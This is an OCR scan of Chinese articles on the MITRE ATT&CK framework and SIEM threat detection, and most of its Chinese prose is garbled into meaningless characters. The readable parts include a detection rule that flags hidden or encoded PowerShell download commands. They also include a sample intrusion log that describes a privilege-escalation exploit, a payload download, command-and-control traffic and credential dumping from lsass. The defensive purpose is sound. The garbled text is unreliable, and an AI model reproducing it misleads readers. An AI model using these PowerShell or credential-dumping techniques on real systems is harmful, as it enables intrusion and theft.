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1.1

CATT&CK FEERINZ—: RMAB. ZZBNAIRA

fBE: Rl

R https://mp.weixin.qq.com/s/sxMUwLgLBi-CJQV41DWaA

2019 FHEEAKRF, BRTEXERSZEH, TETWHERER. £RAK, Gartner WEB N BRI A&
(WAF) BORRNGEZ—EEW a FNEEIREANR 1], 2V —BESMEZKOENTERZ K
PEFHNANEERE, \NEEHNRERMER, AMSES B, EHEREMEIRE [2] 23k
BRI=RE] BEIEERFAR Fxmsp K, REEERR, IEZERIEM, &3 2018 FRAM
BIBMREZ LE Google+ ARSS [3], HHERTF 2017 FE&IA Windows 10 JRMCIBIMR [4], FEEE 2015 F
FoIRBERNENEZENEITIRERRE [5], HEEREL, AKAIMEIESRIEZEW T, B#zttE
SE, MERBATNUHFSN.

The post-breach / “assume breach” age

"High-risk enterprises should assume that they are already compromised
- there is no product or combination of products that provides 100% protection"

- 2012, NSS Labs Analysis, B o
Brief — Cybercrime Kill Chain vs. Defenge«ffectiveriess

ETERANGEEZ, MREXR AEMETMRAREULEF R OLMBHBER S, RETAISIN
1% BMERZM—LELNER, EMFEREARILZERIRMMRE, BUNEEEEZRELZET
, RMZEARE, ERABHEENASIARTIWEREENNLR, ESHATENEEFLN L, K
BEREFINTRIR: HERTHCSAIE. HERTARTIE. BERE. MEGHRER, EINEIT—
Rt “assume breach’” [6] [7] (REKXFE), LR ISC X% L 360 &H CEO BS#IERRE <I%E
BABNNEG”, BE “HEAER . ITUSRSAZRBEIRIN, BEXEEXL, HRNFBEEMERN
E X AR RREIR B

A
¢

Si

REBA: ASABRIKEETH

BRICICBFRBEX IS REMDIIIAT 2010 F Google MERIETEN (8], ENSFZER Y AL
SEEAFRBIRE D512 (SAL, Script Analyzer Lineup) AJ AT 2 AME XA FH AN EIF BER
iFIE (CVE-2010-0249) HIIHERED, BIRARIFLKIZEHHEE, A58F, XR2&E=, BN
BRI AN TR BRI T .
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ATT&CK ATT&CK BEE RS Z2—: AMAMK. ZRIRS

M RRAL R R FHIERREXN—A UERIMHMBRERNFRRAL, BXIEEER, B2
CREBRR, RE—AFAGEE, MANERZHNZTE SKBTIHRS, SUREBHBRHNERZA
RREFANZNHERE, EEHAETRETHATNMEERENFE. BN, SEREEFER
T—IE KRB, BHFE .

CRHK. BHEF HNSEINAENERE, TENE, EFRAENLTEBEHIXENARER
RE, BERAAL. MtRESR, BITAE—T, BEARKEFE? ILRMNEMEE—FREENZR
2/A5) KER (FireEye) iiC,

XER/AT] 2004 TR, REAIRGEEPRIBRERE, KRUNRZREEEREEMLE] & McAfee,
2013 FHEBE I M Mandiant K HNSREDIREL APT HigH RINEEENETIATR L, KRAE]
F HARERAN Mandiant L 2RSS ENRE —EFIFEMNFRIAEFRBE, 7£2013 FHM 2014 F, £IK
BARAZHNETZTRREN APT EHEHXAM T EANSELRI, MXtEMNXRETPHENEE
FRRERETITES ., RENERSNASINSSREMIZORARER, 161711575 FireEye X457~
MR A A, BidZR—EXE PK, KM ARNTREETIHEENEENEERR, EERZK
RE2AMNZT BIREF AL APT WEFRESHRMIEGN, MEZLAMSREMREEIEREA,
MARBIRATE T BZE—HRBRANNA, RNEEENTEEH . KRESB SRR TGE
—RAAE], ERNBERE L, EthREe BHRERNRE., XEREHILHAE, BMEMK, I8
BRBFNEERNILE, REFRMENEESEIHN.,

HIEERETWRAZE, EXGHERZXMEE, BRZER:

1) BFERA, BRERENERE. BB E GandCrab $1RRSHFPAIBRARE [9], UKk
T & NSA WA & BRI &S [10].

2) BEFEEMRREEEARNEENLR, NMEANENZARKITE. ERANRETRIE
KM HFNLEBMEBZTELH. RAANKBNGE, BRNEALSmMSAEERNEmERAARLD,
BEZHTLREMERE NN U RE @ SHALRRE.

3) ZKFEPVHIEARARIR, ERBAPELELFNIH, WERRLEXKRMNENA. BBZ, WE

“RITME, BEAK, WEFEMKRR, AR, T ABEFASKPURTEERREANZE

BRAHRSEBIMNES, IWENSERDAT—K. HHTEITZIMFAIETRRETR, RE
ESiRESREM X" B Zae E 1 XE, JRERHE 1R, BRAERAKTEER
SNRASHRSERK. FEHEE X, TRRELATE, BEEEENFEEITE.

BN REREFTHN @

PHERE, RUZENFESKRERE, EFREMRZTEITWEDHIT “assume breach” FZAFHIR, [E
RPN A EES EHETFERTRHNENA@LER, TWARIER TTP (5 Tactic. 27K Technique.,
13 %2 Procedure)

TTP EBRETESANIE [11], BEFNAIINEZLEGR,

1) SARZBIETRHIRARBIR

2) BARBAZTUEAERNFE



ATT&CK ATT&CK BEE RS Z2—: BRAMK. ZIXIE5

3) SREHNE MRS ESLI

MMBREL L, FRMREZIER (Indicator of Compromise, I0C) ¥5[6) TTP, HEStREEEFEAT
ICRAHTHK.

2013 % FireEye B9Z 2 E 5 David J. Bianco BURIEH “BEHEFE " [12] (Pyramid of Pain), EA
NEGEFERRZENBANAMFARE, XEETREESFEREZONIR:

1) BEEFEF—BEUTHRTTIEEREN oC, MHIIRBELMIENTEIME, Kl
ERETRIPIRKEER, BMREIFELRE LI,

2) EEBERNEETREREN—RIIFE, SFENCASEMASNED, XLEFEFLER
EEATRR, BLEBEZTARABMETERN. —TEUNLERE, REBIREXMBEERTSE
EIRBEREHEFLL,

3) WEFEADHRE, EMEFERTHENEE. EF loC MEHEHELEMNEEES, (ERRE
5, BEREK.

4) ETF ToC SEMUFERBMREMYREIRE, RALTEE, BEERABRZHRISINKIET
A, ANERFRGH RSO TUEERENHSIREEFR, UMEEKSTNEBERIR, BEERSAT
AxiE, XEWRE, AMALZETENNEEREEABEN, TEERMRR. W, X, 2
WENEBRELZE™ @A,

v
mE
s
EFIE
Pyramid of Pain
Challenging Bk

Annoying A

Simple

ER{ERER Hash Values Trivial Y e

10



1.3

ATT&CK ATT&CK BEE RS Z2—: AMAMK. ZRIRS
M EHIRAR, ERLE BESEFEEH, REZERTH (TTP) =#FAMEESN ., BIMNSERK
I LU0 HRE CrowdStrike 7€ 2014 F2H T IoA [13] (Indicator of Attack), T ZATARSSHIAS]
i T EloC X IoC ¥ 78, —itt BRAEIEEITAMNEI MM H A IoA (SEAMMAZ, I
g0 EloC) ARIER, HESBNRZEFERPENIH., HNEATHNLEHNAE, BRYEELTHZY
AIITIE, X loA ] EloC RUBNXILE, BXRAEARRAMN, BXWMEEIE, MSECEHASEHA, K
AL, XESRERL/FNIEPEHERRTEARN, NBFTEER, EEEHAHL

BRI ENRAZAENEHBRZ — T EENEM: WARBRETH (TTP) MBS MIFIE,
X— R S R B B RS MR E R -

1) SREMBEE 2013 FRMWATHKEE, HF RBEHE FireEye, Trend Micro, Kaspersky /MR
ZENTEEEL, BEAREM, EFABLELETIRAN, EZNSHABRMAERIRE. BHRER
NEHSESR, SHEMBRIER R, RZLELIENBEARERUNERETAER.

2) EMERTEZELNTAM, BARKE—TRIFNERESEE, MERRIFNREARKRIT
APT EHHEILE—HN. ENMIEEREF ERBNERLR, BRHULROEATTRMEEMARS
M, SHRETRDARET loC &M, BEMERATAKRMNMIZITH IoA FHAtLREZEAN
=i E Y Ve EAE

3)) BETHASEERAPITAEERERTE, EXBERERE. RETMRZIERHPMHITH
(telemetry) BIBES], SHEBRBENEEMUR, X—REARRIARITULLZEEN LRNZEAEE
RKFENEZRE.,

BN —ES, ERLE

FHERE, 2013 F£7£ MITRE £ 5#Y Fort Meade Experiment (FMX) FARITE H, ATT&CK (Adversary
Tactics and Techniques & Common Knowledge) &Y BRI 1 FH TR A 9 iR LR KR ERIATE . MITRE
2 TMEENAR, QBUFHTIRERAZIRE. HARALKNEERAZF., ATT&CK B MITRE F
2015 FIER LM, [CRRKEERLZEHXAMNETHE LTSNS REMBEHEAR . BA, FRTEH
NEBETHERNERES N REREHMRAIREESR,

11
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ATT&CK (and interest in ATT&CK) has grown

Interest over time

MITRE ATT&CK EVALUATIONS

/ 2018 2019

= ] MR

N EERIAEER, ATT&CK £ 5 FEANKRE, 22018 FHRRGESBELAARE. FIEEMREZE
SLER T AR R FF A E R AP IE AN X ATT&CK 235, HEFEEECEINEEF EMKE
ITRTER ATT&CK &NIRE, TR RSA. SANS. Blackhat, Defcon E—ZAZTERIN, K2/ &
WMRARET ATT&CK FHERAEZLK, BREEIAEMIKSZZE Github L,

Zih, BERBHETETHERIMNVEMIERINES, UXFER—TIES. BhH. EEE, F1
AN DB T REMBIK, ATT&CK BT <K @E K5 WHFR, FEEFAENS
BIERIR RGO AIIRIFH L O XS MRS HBE S .

MEETWEBAAIRINBEFEERNABGMAK, BHIEHNIME T~ RQNEETH,
HRZAMIIRET ATT&CK MIRENERA T MAFGEEN, KEEENHT—HALTEI TS
I ERIRE S,

AEENARE: GRARK. 2R

AMERE, WER—ZA, FERRSN; BFTFRASMIRE, REEMNZE. MRBIMES
FRE BROBENLEERE RN, HEFERHFAFPNTEEHEPOLEERTEARMAIE, <G
. ARARS BN BERHHRIZAMN.

—THENGERE: ETHRAINEEZERE, AEFARARBLEINEAR (Tactics). FA
(Technique) FISEIIFE (Procedure), XFE TR MEEF mET =M TTP AERIBEREE
(Telemetry). IRBITEIEZAR (Technique) HMETABE LA (Tactics), XERFAEFHIEREHEH
BN, XTERTAREAMRESREMIMEHENE, FENBFEIEREREEQNEENR
., REM AT APT BERAAEE.

12



1.5

ATT&CK ATT&CK BEERIIZ—: AMMAM. ZBN%IEL

A ATT&CK BB RTINE—RE, ETREBENEBX MITRE ATT&CK FIRENIEEMNEE, %
EEMEENIENMSEC RRIAHE, MURET MITRE ATT&CK MRESSE, ilxiE, SUSHSE!

EEME N

Rl @ HERHLREIZH

BRIMERTHERRIBEERIER, ERERA. R, TIHAS 20 FFFLRK, HE 3 TEE
El, MATFSIAER—ROKELEBRMEACNFH B ORARFTERC AR, HEESKE
ANMIT L2 HEBRRNSEREMR A2 OEARZIN, ASZFTHREMAR. BENDHE.
AN RS | ZEE 2 MAORARFT R RRGEAR, BREBAIRAMERTL (2012 FEF) M@
# (2015 FE) EHE, 2015 F5RIK CEO F CI0 HEZBBMENFEEMBEBARIE,

SEXH

[1] Cybersecurity Firm Imperva Discloses Breach
https://krebsonsecurity.com/2019/08/cybersecurity-firm-imperva-discloses-breach/
[2] Anti-virus vendors named in Fxmsp’s alleged source code breach respond
https://www.scmagazine.com/home/security-news/anti-virus-vendors-named-in-fxmsps-alleged-source-code-
breach-respond/
[3] Google+ shutting down after data leak affecting 500,000 users
https://arstechnica.com/tech-policy/2018/10/google-exposed-non-public-data-for-500k-users-then-kept-it-quiet/
[4] Microsoft confirms some Windows 10 source code has leaked
https://www.theverge.com/2017/6/24/15867350/microsoft-windows-10-source-code-leak
[5] The Mystery of Duqu 2.0: a sophisticated cyberespionage actor returns
https://securelist.com/the-mystery-of-duqu-2-0-a-sophisticated-cyberespionage-actor-returns/70504/
[6] Defensible Security Architecture
https://dfs.se/wp-content/uploads/2019/05/Mattias-Almeflo-Nixu-Defensible.Security. Architecture.pdf
[71 NSS LABS ANNOUNCES ANALYST COVERAGE AND NEW GROUP TEST FOR BREACH
DETECTION SYSTEMS
https://www.nsslabs.com/press/2012/11/8/nss-labs-announces-analyst-coverage-and-new-group-test-for-breach-
detection-systems/
[8] More Details on ‘“Operation Aurora”
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/more-details-on-operation-aurora/
[9] GandCrab Ransomware Shutting Down After Claiming to Earn $2 Billion
https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-shutting-down-after-claiming-to-earn-
2-billion/
[10] PLANS TO INFECT ‘MILLIONS’ OF COMPUTERS WITH MALWARE
https://theintercept.com/2014/03/12/nsa-plans-infect-millions-computers-malware/
[11] What’s in a name? TTPs in Info Sec

13



ATT&CK ATT&CK BEERIIZ—: AMMAM. ZBN%IEL

https://posts.specterops.io/whats-in-a-name-ttps-in-info-sec-14f24480ddcc
[12] The Pyramid of Pain

https://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html
[13] IOC Security: Indicators of Attack vs. Indicators of Compromise

https://www.crowdstrike.com/blog/indicators-attack-vs-indicators-compromise/

14



2.1

2.2

2.2.1

 ATI&CK HEAMEREDITHFNMARE

fE&: I8 AILPHA XHE
SR https://mp.weixin.qq.com/s/h-jrWoalofnpBppKpZK2sw

o
It

ﬁH

BSEMRLTSBANNPIEHTE S HHE, “ATT&CK” —EE EHBR, M 2019RSA KE ST
PERWERKE, EISE Gartner SIEM BHRBEEZPBHIINEES EIEHR, ATT&CK D
RTEMNERNIEB, ATT&CK {ERAMENEIREARETIRM T — Mg, WEXMEREA
1TUREE, RHLZEFRAIMMALHE. ASUEM TTPs BIER. DTREE A EIREXTF ATT&CK HEZ2
£ SIEM @R AIEREFNEE, WIAFRIRIT,

—. ATT&CK HEZRHY T 2

“ATT&CK” BJZ R0 “Adversary Tactics and Techniques & Common Knowledge’, BIXIT#IREME—

PREBFEAEARNHEZAIRE, 1BEE 2017 FERKIE ATT&CK %, BRIRFEEDEA,
RAGIBEIS K ATT&CK TRAREB D LEMWEEAEREA—TE, MITRE BINT, ATT&CK 1
RINT, MECEHRA— TR AIANLLEFRIRE, SREZMIEN SmERARBEARR,
FEFXMERN LRSS NAEMRIE,

22l ATT&CK HEZEFE S A1 TTPs (Tactics, Techniques,Procedures), XE—TESBARIE, MER
5| AEINER =W,

iR (Tactics): RE—PENEE

2R (Techniques): SEfE— T HAYREAR

33 (Procedures): SEffE—THARRIAE

B4 ATT&CK RRAELATEITWH R A?

ATT&CK 1EZRAI AR AW AR (BEHFIER)
BR] ATT&CK IERFEB S KM BXRLZ LR, FJRIBRNEENNERFBEEERITHB O LR
mmiIEES], BlEn: PFE. EDR. SIEM %,

NSRIFF) & RAVIESEAB RTREANA Web REBALREHIR, FES WAF. RASP. fUREEITE Web
XL Mt ] R EESRH 1T,

KIREANREFN B A ENENRSS, EFREMAFRAEER, REIREES P UELRIT
LiNEEH? BAMEE— DI CVE FE, ERMAIRERE—LER, SAXERIETANEN,
EEREIERE, XR—MEANIRE,

15



2.2.2

ATT&CK ATT&CK EABIBZE PN ARE

BENNEEFEEN. S—inE, MAZEREE, SRAXENBERAZENZ—, BEAN
HREHLRIFEEERN, EEHLTFERELHEERITMH,

ATT&CK EZRAIARC DL FRAVBAIES (RURMUBIREE(L)
KUZFENTESHIE, BREAR KNARREANAEIREMFE, SRKEITIREHVSENY

“smb EAFA", BARERVSEN “MS17-0107, XRZ2—NERENGIF, MAEHDFTINLAEFE

MESEZEZTEMIEHEHTIE, BSZHURNERIESIERS, FMNMEEN., EIRKEHAXIFR,
BHENBANNF, BHFHRIBEMKRIEER (L, IRTER “smb mEFA" £ “MS17-0107,
AR AZREFRE S T1210-Exploitation of Remote Services, SubTxxxx-MS17010, B MAN—/NE, HE
TWR—KD,

ATT&CK EEIRTERRAE-DT R HHNEM L, MET —EBMAL. EMETHRAAIRER
1EZR, EXEDN 3 1HER:

(1) PRE-ATT&CK: IEHRIANER, FIUIERRBITLIGEIE. REt. ERRE. RERARIME;

(2) Enterprise: XEHETAIERD EARATFER, FIFBIIRIREY. H1T. BHfEwke:, E@iEnhsE;

(3) Mobile: FniimAVERD EXEAFER, FBohtEZRH Enterprise 2K, REERNTFSAE;

Bl SIEM H2 B0 REIXZHEInTE 0, FRUEsRMABRERRIITIEEE ZA,

PRE-ATT&CK B RIS FRA#IE K7 o] WIS, BRIARZERBMEL 4R GE, bl TR
ERIRBIIREMSIREZRE, EHFBEMEENES S LIRS R, EHNRIEFRMEEE
BERLRMEMRIEAIE. VPN kS, ATHFE. SUREBE,

Enterprise B HAFELEARASNE THERENITHER, EXTERES, BIHIERITRE
ENBERATALERIERSH, PIUEFNFIRALEERNESERETERMNFHRS o, Eit
Enterprise th @ BRIEXXIENENE, HWERNARESITICHER,

16



2.3

23.1

ATT&CK

ATT&CK TEABIER DM PRINABE

Recon

Weaponize

PRE-ATT&CK

Priority Definition

« Planning, Direction

Target Selection

Information Gathering

- Technical, People, Organizational
Weakness Identification

- Technical, People, Organizational
Adversary OpSec

Establish & Maintain Infrastructure
Persona Development

Build Capabilities

Test Capabilities

Stage Capabilities

(BREIRT: W)

. SIEM =@ 5 ATTI&CK EZRNE SR

TTP HOFREE
1. BUERROIERR

EFIA ATT&CK B TTPs R34 I 15 R LAY EL AL 2 B,
FEIXR ATT&CKeon R EBRIN—KEWERAMTE, rILHIECIR, #
RILEE., sysmon EIE B RIA AR RHER K.

-
-
=

17

Enterprise .-~

ATT&CK

Initial Access
Execution
Persistence
Privilege Escalation
Defense Evasion
Credential Access
Discovery

Lateral Movement
Collection
Exfiltration
Command and Control

e s
i .'I",.i.{,...rl—
g e T —

BERANAXBEENRENZSF,
XHEESTRA

DA/\
EEFIIJV



ATT&CK ATT&CK EABIBZE oM ARE

157

Process monitoring
File monitoring
Process command-line parameters
APl monitoring me—————— ]
Process use of network 37
Windows Registry e 3/
Packet capture m———— 37
Authentication logs —————— 8
Netflow/Enclave netflow e 3/
Windows event logs s 10
Network protocol analysis s 18
Binary file metadata s 13
DLL monitoring é[?
Loaded DLLs 1
Malware reverse engineering
System calls
SSL/TLS inspection
Network intrusion detection system
Anti-virus
Data loss prevention
Application logs
Host network interface
User interface
Kernel drivers
Windows Error Reporting
Web proxy
Network device logs
Email gateway
i | Sen.rlices
ird-party application logs
rare BF(?S

MBR

Environment variable
Mail server

Detonation chamber
Web logs

PowerShell icE sl,

Sensor health and status
Named Pipes

VBR

WMI Cbjects

Component firmware

Disk forensics

Digital certificate logs
Access tokens

Browser extensions

DNS records

Asset management

Web application firewall logs

90

9
g
3

Data Source
ettt B R R R R R R N

I—‘!a-ll—'i—l-l—il—'i-‘!—“—‘-l—l-l—‘}—ll—‘lﬂNMNMNMWwbbhhhbbmm
~i=

20 40 60 80 100 120 140 160 180

Number of Techniques

o

MiT;

(B /R 3&ETF: hxxps:/pbs.twimg.com/media/EICsnZ_X YA Ayyxd?format=jpg&name=medium)
2. BRI
BT SIEM FaXGERANBIEERXAFHEERZZEIMNENEIE, FEaFERRE—FX
ANZEEMY, XEEHFFA—TESERWE, bl Powershell, CMD XLEIZAHEE R RERANERF,
HRENBHFE— DM REREHNE N, X TTPs B9 ID fM 7 &FNINE, TTPs WEERE
STENIIRE, ST HERALMPAINEWEFNRARIE. SAEE,
BEERAMNNGEIETT LR, FAIAEZESRARIER AN NAEER, UTRAHG]:
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ES5FAE, UTE:
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ATT&CK BIFINZ ATT&CK 1EZRNARRVERL, thEMR ., ¥IFAIBMRYE github £ —LEFFRIIIE
HATTHERM, BI%0: sentinel-attack. sysmon-config. sigma %, SEM™@EM, FTEMGREM
NHE:

MBS E

MURRE—ER BkENEE, ERRMZESMITEEA RS, SRESRESE
i, DT EEIE, DTHNERXEABENIE? EFREAMNER EFRANT AESFERE T
MNBNRIRHA BT, HIFERN PR EF oI E IR BN ERRIFLE.

MNP B ER

E2A ATT&CK R SMER FRIIARD R, HLREREZXTERE, 2 T1055 - #IZEN,
SARTEENIMREE NI TIIMEANTE, EREEMEATEMAL 10M, BBAE—N7
mABE T T1055 - #IZEN, BEBZTHP—MRAER +HRANNEIEN ERZAERT. itk
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3. tREERUINE
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HITER: AR EENARIEERF BCRENTA
51
Powershell BBI#INEENEF A, ELIHRMHINEHITHETREIRZ—.
EMMAEXNT, BARXREER—THITER,
Image contains ‘powershell.exe’
EMNETERARNLE, BLARTUERIN—TSESEEEZRBEE,

Image contains ‘powershell.exe’ and CommandLine contains (‘-w hidden’ or ‘-Exec Bypass’ or ‘-c’ or

‘-Enc’ or ‘~Nop’ or ‘DownloadFile’)

BT FANEN T AEFEZEREZAE TN kB 5Ra9iill, MSAERsEd, X
N ERITERSG FRATHMIRAIAIEE,

BTN AT BUERABESNER T ACEBREESRMN: NE! iLNEZFBREHLTNTRE, &
EXIFENSAREE, NETFANSERGRAIREFNERNFEZERMN,

2.3.2 DR

TieZE APT REEMABERE, AR —LBRIARMIEAFEEE 0DAY, BHUASREE
thEXMNIEFE, XEFENRZHREIEESR T 2TRMNE, ATDRBIRZHITITADIT. &
BohE,

1. HER DI

SEAMASER, PTLURIZESEHENHEN ., LR PLSHZENN LA HEZNER TTP iR
BEREIRE, DIMZHARMEE N —FRMENK G, THEENEREERAMTFZISEIRZNHTE,
IXEERTRERL 2 AL S RAADN 2

A E R — R FI TS

a. EAWNLEAINAEZ M ERSNIRIC

b. BEW LEEBE ${Num} TAREHIIRIC

SARLINAPARFEREEMERTENEE. REESK—aXN LNMEEESABEIEE,
XEMAILEREREENSEETNEE TE2EAERENMNA, XEoHENHENMZINENENNE
H.

2. B DD

BT AR ENEIF— TR, BEN LN TTP fZEREIE, 2WXTENERESA—T
KBEE.

A E R —SRFI T

a. EEENLAINEZ MMNERSRIIRIC
b. BEENLBEBE ${Num} TAERIFRIC

A
c. 2BFNLEBEE ${Num} P ARERIEAREE
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Impact
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AN EPTRRATE—ERRIER, BT USIANBZIEEZHENRIAEINE SR,
EAMBCHITED, HNBENBEEN LM TTPs XD AEAEIE, NENETONE, &
FIHIERKEUMARBER, EIARNZRBEER, MRFEAREIINGEEER—MEBIFIBTANFIE,
KRS X ENALIRLER, EEFEHENTREF, ERRIUFBENZE I EETEAM A HENIEE,

3. RRETTR

SMBNREEENBHFEH AN E AR, RBRiZiEs LAGNEIR TTPs EEREE. pTLIR
BULEERAMTE S NE@BNRE, B0 winrs B —ME@BHFER, KIMEH 10.50.10.100 BT
winrs FEFERIAMALEE 10.50.10.105, X A&IEAN 10.50.10.105 L BENERSHIFFE T1060-Registry Run
Keys / Startup Folder. T1003-Credential Dumping. T1191-CMSTP, BR Al SE AR A& mFS TRV E R 2 RIN

B,

-~ tasklistexe
/

/ /-

s“' ;’—
| N

/ // winrs.exe ‘\ -

[/ K
T1059-Command-Line Interface

| |".\
| 1\ systeminfo.exe

| 1\
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| \ ™~ netexe

| \
\
i - whoamiexe
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',\-\ — svchost.exe ginnigoOgle.com
\
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\
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\
“~ DropFile: svchost.exe P
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AASTRERNEMATIRENEREN T RAERNEMIET, BREASERMANTEN
HRA—MHR, DUEREWMAE, WE—ERPINRIEETEAD LG UN BRI HTHR

2019/11/07 16:31:05 #F2 Ulurngei.exe 81 EE CVE-2018-8120 12 F X PRIZ1T uziYaoqomsfT.exe,

HIZFEF B User 127 % System, AZINRIZFBHY;

2019/11/07 16:31:07 ##2 uziYaoqomsfT.exe E &2 B download. microUpdate.com, £{LUAZE
A=K

2019/11/07 16:31:15 #F2 uziYaoqomsfT.exe FRHI {4 svchost.exe, AZEIfHZEEEAT;

2019/11/07 16:31:18 372 svchost.exe EIZITFZIFF ginni.goOgle.com, FRLUAZTIZERY;

2019/11/07 16:31:23 72 uziYaoqomsfT.exe iE1TFEF cmd.exe, AXZIHITEHY;

2019/11/07 16:31:24 #FE cmd.exe IZ1TF2 % tasklist.exe. systeminfo.exe. net.exe. netl.exe. whoami.exe,
REIRIMER;

2019/11/07 16:31:32 ##2 cmd.exe IE1TFEF mimi.exe 15(0] Isass.exe #HF2, AZEIUFIREXERI;

2019/11/07 16:32:03 3#FE cmd.exe IB1TFEF winrs.exe ZEIZIRFZEEAN, 10.50.10.105, Bintl2s L1FE 3
PRENERIFFE T1060-Registry Run Keys / Startup Folder, T1003-Credential Dumping. T1191-CMSTP,

RIGAZIE @B ERY;

2.3.3 {IBENREE
2R ATT&CK 1EZREAEE LM E T — PN AMENRDENIRE, B BRI ERE =T HE T RRIES]
2o MITRE /) F##3II— Cyber Analytics Repository, {EHFRABK DM E UIREESRINBE
No FEHEBERZEARARGFHWABCEZRAIZE T F, I Red Teaming Experiments, atomic-red-team,
BA1EEERE Red Team IWTHIIFZRIE M, FHANTHIERIE Red Team 3K E M +Blue Team &
$SFEHREY
. RBERIE

ST (DLL)
HIRISE: (85 )

T1191-CMSTP

cmstp. exeft F S lE AL §1 i H it #Ead
ParentImage contians 'cmstp.exe'

1. EUBDAQI
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EEA2IR AT WS FIREE o] AZE B R ARG, BIARMRR T BFRIMENA B TAEMIRE., A TEER
MEERNEMBHEA, TEMNERZITEDE LN,

2. AFP&E

BEAE T HIREBAENARER, SIEM B2— M EEL2MRTEERERNZES R, WFoh
IMEENBER, BRILEFIRETMIREEITARESEIFMNFE)IES

INGS

& ATT&CK EZRAVINE KNS, HERRNEE—ESER, NANHFRESE! . #B
HIBNER, FANIAN ATT&CK RAERZBBERTHNRNMON. SRZARETER, AXSH%
BFet, HIEHEIHAO T, FUTEMIRE, BEA—VENEY, TESRERNZMIE
&, RETWASKR, EXHEERTEHMA VDN, FRAREERNHLS, K,
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3.2

- M ATT&CK & RIBMEHRA R RN S

E&: /)\aR
3#E: https://www.sec-un.org/attck/

ATT&CK B3I BE K FIAR—FLa1t. BIEIavTER, HMEIXINIERID T, #H—
W EIERNT. SRR EAR RATE ., ATT&CK IHKEFER T B, B4
MICIAISHABIERE N, S — U/ BRI R RIEEER S,

5l

7£2019 FF 3 AR RSA ASH, BT 10 MINERITILR ATT&CK AFREITRHERE [11[2]. 2#HM
KEA1 31041, BIBMITIE (5], AEMNMER (6], RGN (71181191 FERIARM O, ATT&CK Y
AT HRREPRABIINBZ—, 7£ 2019 & 6 AR Gartner Security & Risk Management Summit &

IH, ATT&CK # F-Secure WA+ AFFM A [10], ATT&CK PSRN T 2019 EME T QL2 —
DNKIBFARIER,
42 ATT&CK

MITRE ATT&CK, £#{J: AdversarialTactics, Techniques, and Common Knowledge, XSRS, A
MBAZIR, &H MITRE REMN—ERNETRGEAE S BRBARGEITHNREMAIRE, ATT&CK &£
ERAHE-ST /AR KillChain BEAEAL £, MEEMMMNEN MM EFNREETH, 4
BT —EEMWARE. BEHHENINRMERTIER, HEITHRER, EA—ERBUE. AHRSBEW.
MWETBWMFEANMHE S S MEIFNNEZEETRHRIRE, NIESRAP REETXERIN ., B
Fmp T [11],

BRI ATT&CK 2B 5 A =89, 952 PRE-ATT&CK, ATT&CK for Enterprise ] ATT&CK for
Mobile, EF PRE-ATT&CK BEXH PR EAIBIFA T ER, ATT&CK for Enterprise 7B &= K HHH/E R
MMER, ATT&CK for Mobile MIZ BRIEA R PC 5 HAISENAZR ZBNRZEEMES, ESERT
KR T MR ENEshEA TTPs 15, WE 1 m. EEEKRFIGERHE ATT&CK forCloud
BRIROIHEH, ANXEEL Enterprise J9f5, 3 ATT&CK BIELAR . FARFIN B TR D,
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ATT&CK M ATT&CK BEIAMERNZ RTINS

Recon Deliver Control Maintain

Weapomze -~ Exploit Execute .-~

.. Enterprise .-~

PRE ATT&CK T ATT&CK

Mobile ATT&CK g

1 ATT&CK 7 KillChain B9 E1ER

PRE-ATT&CK EIERIEAE: MAREX . BinEE,. ERNE. ZIMMSER. WEMHBFR
Fa. EIAMEPEMIEE. ARNAL. BiZgeEH. Mk N D ERBESN s ATT&CK for Enterprise
BENEARE : ThEFEML. 1T, B, =B HERLE. TAREIE. R, EaBs. WE. HUE
SREX. e FI=H), 20E 2 A

ES

Weaponize

PRE-ATT&CK ATT&CK for Enterprise
Priority Definition
+  Planning, Direction Initial Access
Target Selection Execution
Information Gathering Persistence

«  Technical, People, Organizational
Weakness Identification

- Technical, People, Organizational
Adversary OpSec

Establish & Maintain Infrastructure
Persona Development

Build Capabilities

Test Capabilities

Stage Capabilities

[ 2 ATT&CK S ZRIEE AR

Privilege Escalation
Defense Evasion
Credential Access
Discovery

Lateral Movement
Collection

Exfiltration

Command and Control

B ARIERIZ ATT&CK BIRARRRE, BREEIATITHRISARBR, HE T BB ERERE AT
EROMENESRANERT; BRABNERGEBIATHIFEIMSARBRG, ERITE
MRSHAE . £ ATT&CK FERERAIINBI BRI S ARMBARNX R, WE 3 AR (1], JEERRSMA
BRI ASE IS AR BIR, EUEESMEARERNBRSIPRA,
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Home = Tactics > Enterprise

Enterprise Tactics

D

TADOOT

TADODZ

TADDOZ

TADOO4

TADODS

Name

Initial
Access

Execution

Persistence

Privilege
Escalation

Defense
Evasion

Enterprise Tactics: 12
Description

The initial access tactic represents the vectors adversaries use to gain an initial foothold within a netwark.

The execution tactic represents technigues that result in execution of adversary-controlled code on a local or remote system. This tactic is often
used in conjunction with initial access as the means of executing code once access is obtained, and lateral movement to expand access to remote
systems on a network,

Persistence is any access, action, or configuration change to a system that gives an adversary a persistent presence on that system. Adversaries
will often need to maintain access to systems through interruptions such as system restarts, loss of credentials, or other failures that would require
a remote access tool to restart or alternate backdoor for them to regain access.

Privilege escalation is the result of actions that allows an adversary to obtain a higher level of permissions on a system or network. Certain tools or
actions require a higher level of privilege 1o work and are likely necessary at many points throughout an operation. Adversaries can enter a system
with unprivileged access and must take advantage of a systern weakness to obtain local administrator or SYSTEM/root level privileges. A user
account with administrator-like access can also be used. User accounts with permissions 1o access specific systems or perform specific functions
necessary for adversaries to achieve their objective may also be considered an escalation of privilege.

Defense evasion consists of techniques an adversary may use to evade detection or avoid other defenses, Sometimes these actions are the same
as or variations of technigues in other categeries that have the added benefit of subverting a particular defense or mitigation. Defense evasion may
be considered a set of attributes the adversary applies to all other phases of the aperation.

4 ATT&CK TE X YA A5l
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Home > Technigues > Enterprise

Enterprise Techniques

Enterprise Techniques: 244

] Name Description
71156 _bash_profile and =/.bash_profile and =/.bashre are executed in a user's context when a new shell opens or when a user logs in so that their
bashre environment is set correctly, =/ .bash_profile is executed for login shells and =/ .bashre is executed for interactive non-login shells

This means that when a user logs in (via username and password) to the console (either locally or remaotely via something like SSH),
~/.bash_profile is executed before the initial command prompt is returned to the user. After that, every time a new shell is opened,
~/.bashre is executed. This allows users more fine grained control over when they want certain commands executed

T1134  Access Token Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running
Manipulation process appear as though it belongs to someone other than the user that started the process. When this occurs, the process also takes
on the security context associated with the new token. For example, Microsoft promotes the use of access tokens as a security best
